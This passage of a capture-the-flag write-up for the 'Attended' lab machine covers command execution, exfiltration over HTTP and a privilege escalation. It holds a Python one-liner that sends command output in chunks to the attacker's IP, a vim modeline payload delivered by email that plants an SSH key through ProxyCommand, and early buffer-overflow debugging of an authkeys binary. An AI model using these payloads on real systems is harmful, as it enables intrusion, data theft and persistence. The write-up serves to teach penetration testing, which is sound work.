swaks --to "guly@attended.htb" --from "freshness@10.10.14.28" --body "ggwp" --attach cmd.txt --server 10.10.10.221 2>/dev/null

echo "[x] CLEANING UP"
rm cmd.txt
```

This incorporates a python2 one-liner which when expanded looks like the following:

```python
import math
import requests
import subprocess

s = subprocess.Popen("<command>", shell=True, stdout=-1).communicate()[0].strip()

for i in range(0, int(math.floor(float(len(s))/3000))+1):
    params = { len(s): "".join([format(ord(x), "02x") for x in s[3000i:3000(i+1)]])}
    requests.get("http://10.10.14.8/", params=params)
```

What it essentially does is to chunk the response to a maximum of 3000 bytes per request since there seems to be a limit to how much data I could send back to my server.

After which, I created an HTTP Server that will be used to exfiltrate the responses from the machine and since I’m chunking the requests, the following code will manage with rebuilding the response:

```python
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse

global content
content = dict()
def http_server(host_port):

    class CustomHandler(SimpleHTTPRequestHandler):
        def do_GET(self) -> None:
            self.send_response(200)

            params_get = urlparse(self.path).query.split('&')
            for i in params_get:
                param = i.split("=",1)
                if param[0] in content:
                    content[param[0]] += bytes.fromhex(param[1]).decode("utf-8")
                else:
                    content[param[0]] = bytes.fromhex(param[1]).decode("utf-8")

            for i in content:
                if int(i) == len(content[i]):
                    print(content[i])
                    print("==============================================")
                    del content[i]

            self.send_header("Content-Type", "text/plain")
            self.end_headers()
            return

    class Server(TCPServer): allow_reuse_address = True

    httpd = Server(host_port, CustomHandler)
    httpd.serve_forever()

def main():
    try: http_server(('0.0.0.0', 80))
    except KeyboardInterrupt: pass

if name == "main": main()
```

### 3.3 REMOTE CODE EXECUTION

Start the created HTTP Server:

```bash
$ sudo python3 server.py 2>/dev/null
```

Then, begin sending commands then wait until the HTTP server reflects the output:

```bash
$ ./cmd.sh id
```

```bash
uid=1000(guly) gid=1000(guly) groups=1000(guly)
```

## PART 4 : USER SHELL (freshness)

### 4.1 SYSTEM ENUMERATION

Checking for all the users that have a directory in **`/home`**:

```bash
$ ./cmd.sh "ls -la /home"
```

```bash
total 20
drwxr-xr-x   5 root       wheel      512 Jun 26  2019 .
drwxr-xr-x  13 root       wheel      512 May  8 11:05 ..
drwxr-x---   4 freshness  freshness  512 Nov 12 16:56 freshness
drwxr-x---   4 guly       guly       512 May  8 15:12 guly
drwxrwx-wx   2 root       freshness  512 Dec 11 22:25 shared
```

&#x20;The config file mentionedd earlier should be in **`/home/shared`** but the directory doesn’t seem to have global read permissions, however exploring guly’s home directory:

```bash
$ ./cmd.sh "ls -la /home/guly/tmp"
```

```bash
total 32
drwxr-xr-x  2 guly  guly    512 Jun 26  2019 .
drwxr-x---  4 guly  guly    512 May  8 15:23 ..
-rwxr-x---  1 guly  guly  12288 Jun 26  2019 .config.swp
```

&#x20;There is a **`.config.swp`** file (.swp files are usually created when a file is opened in vim and will serve as a backup until the opened file is closed). Since this is a binary file, it can’t be exfiltrated by simply outputting the file:

```bash
$ ./cmd.sh "cat /home/guly/tmp/.config.swp | xxd -p | tr -d '\n'"
```

```bash
623056494d20382e3100000000100000000000000000000074ac000067756c79000000000000000000000000000000000000000000000000000000000000000000000000617474656e6465642e687462000000000000000000000000000000000000000000000000000000007e67756c792f746d702f2e7373682f636f6e666967000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d5533323130000000002322212013125500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000747001007f0000000200000000000000070000000000000001000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000616400003f0f0000770f0000001000000700000000000000f90f0000e80f0000d30f0000b70f0000a30f0000900f0000770f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002020536572766572416c697665496e74657276616c2036300020205443504b656570416c69766520796573002020436f6e74726f6c50657273697374203468002020436f6e74726f6c50617468202f746d702f25724025683a2570002020436f6e74726f6c4d6173746572206175746f002020557365722066726573686e65737300486f7374202a00
```

### 4.2 .config.swp RESTORATION

&#x20;Saving the hex output into a file, **`.config.swp.hex`**, then decoding it into the original file:

```bash
$ cat .config.swp.hex | xxd -p -r > .config.swp
```

&#x20;To fully recover the file, just open a file called **`config`** in vim and then press **`r`**:

```bash
$ vim config

  Swap file ".config.swp" already exists!
  [O]pen Read-Only, (E)dit anyway, (R)ecover, (D)elete it, (Q)uit, (A)bort: r

$ cat config

  Host *
    User freshness
    ControlMaster auto
    ControlPath /tmp/%r@%h:%p
    ControlPersist 4h
    TCPKeepAlive yes
    ServerAliveInterval 60
```

&#x20;It seems to be an **`ssh_config`** file for the user, **`freshness`**. Maybe this could be abused by using **`ProxyCommand`** like so:

```bash
Host *
  User freshness
  ControlMaster auto
  ControlPath /tmp/%r@%h:%p
  ControlPersist 4h
  TCPKeepAlive yes
  ServerAliveInterval 60
  ProxyCommand echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDAjMN54BBvvnJUXFjy9FSQ0zUVC7ZJg8FG+hPkNcoIk/ZZTz84yzE3sobaFTgDhfsjgisDd2jjZg8xuBZ4Gjo2pE0aqUQfP4bQwL6N4k+TmqMjBamwy7Copjt+sF0m4EJX1ZkURCFgL1ssqXorFDfRZSA3WingLrq2GYcJS9TMLlt5ZFzcT+umOHGE5wtYCHu11yCSpZNFl2S04GTsB2R/D3X1tQqRdWpIg1JGD0/gSFSuBJNn7ngOfPKQrjlBOrvCgtB+mWgBLp0smETICi9IqIvnW6K5AWNP+ZxWm4Bjl5Vor0mmfQdCcRVElZdpEEW59XSwnhlCpzW+hk8MzQGUoqJ01JKa03rFqdHLHWIy2sfS4vFsG450A4un/hClPMoQxf12gwY2WwsBwAwRKTi1Q23lnLN/NolaCdzOdEUzVc9drcQbvWlR+dxkiW09eFEqk6TEFiVtla2oywhozphFdjye7GPVfuz/862VAMOyG/Ny/82dGOzmt+irNsfc5Tc= >> /home/freshness/.ssh/authorized_keys
```

&#x20;Based on the directory listing of **`/home`**, **`/home/shared`** is world writable:

```bash
$ ./cmd.sh "ls -la /home"
```

```bash
total 20
drwxr-xr-x   5 root       wheel      512 Jun 26  2019 .
drwxr-xr-x  13 root       wheel      512 May  8 11:05 ..
drwxr-x---   4 freshness  freshness  512 Nov 12 16:56 freshness
drwxr-x---   4 guly       guly       512 May  8 15:12 guly
drwxrwx-wx   2 root       freshness  512 Dec 11 22:25 shared
```

&#x20;Now, attempting to write a config file with ProxyCommand into **`/home/shared/config`** using the vim modelines exploit:

```bash
$ cat ssh.txt

  :!echo -en 'Host *\n  User freshness\n  ControlMaster auto\n  ControlPath /tmp/%r@%h:%p\n  ControlPersist 4h\n  TCPKeepAlive yes\n  ServerAliveInterval 60\n  ProxyCommand echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDAjMN54BBvvnJUXFjy9FSQ0zUVC7ZJg8FG+hPkNcoIk/ZZTz84yzE3sobaFTgDhfsjgisDd2jjZg8xuBZ4Gjo2pE0aqUQfP4bQwL6N4k+TmqMjBamwy7Copjt+sF0m4EJX1ZkURCFgL1ssqXorFDfRZSA3WingLrq2GYcJS9TMLlt5ZFzcT+umOHGE5wtYCHu11yCSpZNFl2S04GTsB2R/D3X1tQqRdWpIg1JGD0/gSFSuBJNn7ngOfPKQrjlBOrvCgtB+mWgBLp0smETICi9IqIvnW6K5AWNP+ZxWm4Bjl5Vor0mmfQdCcRVElZdpEEW59XSwnhlCpzW+hk8MzQGUoqJ01JKa03rFqdHLHWIy2sfS4vFsG450A4un/hClPMoQxf12gwY2WwsBwAwRKTi1Q23lnLN/NolaCdzOdEUzVc9drcQbvWlR+dxkiW09eFEqk6TEFiVtla2oywhozphFdjye7GPVfuz/862VAMOyG/Ny/82dGOzmt+irNsfc5Tc= >>/home/freshness/.ssh/authorized_keys\n' > /home/shared/config && ping -c1 10.10.14.28 ||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

$ swaks --to "guly@attended.htb" --from "freshness@10.10.14.8" --body "something" --attach ssh.txt --server 10.10.10.221
```

After waiting for guly to reply to the sent email, we can SSH into the box as freshness:

```bash
$ ssh -i freshness.id_rsa -l freshness 10.10.10.221

attended$ id

  uid=1001(freshness) gid=1001(freshness) groups=1001(freshness)

attended$ ls -l

  total 16
  drwxr-x---  2 freshness  freshness  512 Nov 16 13:57 authkeys
  -rw-r--r--  1 freshness  freshness  436 May  8 16:27 dead.letter
  -rwxr-x---  1 root       freshness  422 Jun 28  2019 fchecker.py
  -r--r-----  1 root       freshness   33 Jun 26  2019 user.txt

attended$ cat user.txt

  b0390ad535424c0981699b93041a3ff1
```

## PART 5 : EXPLOITING authkeys

### 5.1 ENUMERATING freshness

&#x20;There is a note left in **`~/authkeys`** stating that an **`authkeys`** command was enabled in the attended gateway but not in the attended machine:

```bash
attended$ cd ~/authkeys

attended$ ls -la

  total 24
  drwxr-x---  2 freshness  freshness   512 Nov 16 13:57 .
  drwxr-x---  4 freshness  freshness   512 Nov 12 16:56 ..
  -rw-r--r--  1 root       wheel      5424 Nov 16 13:35 authkeys
  -rw-r-----  1 root       freshness   178 Nov  6  2019 note.txt

attended$ cat note.txt

  on attended:
  [ ] enable authkeys command for sshd
  [x] remove source code
  [ ] use nobody
  on attendedgw:
  [x] enable authkeys command for sshd
  [x] remove source code
  [ ] use nobody
```

&#x20;Based on **`/etc/ssh/sshd_config`**, the **`authkeys`** command takes four arguments and is owned by root:

```bash
attended$ cat /etc/ssh/sshd_config

  #AuthorizedKeysCommand /usr/local/sbin/authkeys %f %h %t %k
  #AuthorizedKeysCommandUser root
```

Based on the OpenBSD sshd\_config documentation:

| Parameter | Description                                               |
| --------- | --------------------------------------------------------- |
| `%f`      | The fingerprint of the key or certificate.                |
| `%h`      | The home directory of the user.                           |
| `%t`      | The key or certificate type.                              |
| `%k`      | The base64-encoded key or certificate for authentication. |

### 5.2 PERSONAL OpenBSD

&#x20;I created my own local OpenBSD instance to aid in exploiting the authkeys binary and inside, I edited the **`sshd_config`** file:

```bash
$ ssh -l jebidiah 192.168.222.134

obsd$ cat /etc/ssh/sshd_config

  AuthorizedKeysCommand /usr/local/sbin/authkeys %f %h %t %k
  AuthorizedKeysCommandUser root
```

### 5.3 BUFFER OVERFLOW

&#x20;Looking at the disassembly of something is written to **`0x6010c0`**:

```bash
 0x400345 [os]
; CODE XREF from entry0 @ 0x40033e
0x00400345 4889c1         mov rcx, rax
0x00400348 48bfc0106000.  movabs rdi, 0x6010c0
0x00400352 4889e6         mov rsi, rsp
0x00400355 f3a4           rep movsb byte [rdi], byte ptr [rsi]
0x00400357 4c89e6         mov rsi, r12
0x0040035a 4881c4000300.  add rsp, 0x300
0x00400361 4831c0         xor rax, rax
0x00400364 4831f6         xor rsi, rsi
0x00400367 4889f7         mov rdi, rsi
0x0040036a 5a             pop rdx
0x0040036b c3             ret
```

&#x20;And based on **`gdb`** that address is part of the **`.data`** segment of the memory which is the corresponding virtual address space of a program that contains initialized static variables:

```bash
obsd$ gdb authkeys

(gdb) info files
Symbols from "/home/jebidiah/authkeys".
Local exec file:
	`/home/jebidiah/authkeys', file type elf64-x86-64.
	Entry point: 0x400240
	0x0000000000400240 - 0x00000000004003d2 is .text
	0x00000000005003d2 - 0x00000000005003ea is .note.openbsd.ident
	0x0000000000601000 - 0x00000000006013c0 is .data
```

Since I know that the key should be base64 encoded, I created an encoded string of "A"s:

```bash
$ python -c 'print "A" * 100' | base64 | tr -d '\n'
```

&#x20;Then running it in gdb and setting a breakpoint to **`0x00400361`**:

```bash
(gdb) break * 0x00400361

(gdb) run 1 2 ssh-rsa QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQo=

(gdb) x/12xg 0x6010c0

  0x6010c0:	0x4141414141414141	0x4141414141414141
  0x6010d0:	0x4141414141414141	0x4141414141414141
  0x6010e0:	0x4141414141414141	0x4141414141414141
  0x6010f0:	0x4141414141414141	0x4141414141414141
  0x601100:	0x4141414141414141	0x4141414141414141
  0x601110:	0x4141414141414141	0x4141414141414141
```

&#x20;The keys argument is decoded and written to **`0x6010c0`**. Now, to create a long enough buffer to induce a segmentation fault:

```bash
$ msf-pattern_create -l 1000 | base64 | tr -d '\n'
```

```bash
(gdb) break * 0x00400361

